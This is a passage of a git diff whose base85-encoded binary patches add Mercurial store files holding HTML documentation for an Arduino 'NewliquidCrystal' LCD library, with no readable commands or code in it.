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 YRY#*LQKPEd&f3y=3IWD?n6~JD0MnZ&K>z>% literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r2__w__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r2__w__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..3b448b99bcbf8c90b40cf4ad80916073c10dafc0 GIT binary patch literal 3362 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r2__w__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r2__w__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..f0afd0f3c001c263266207cba4c5019c7195f377 GIT binary patch literal 7370 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 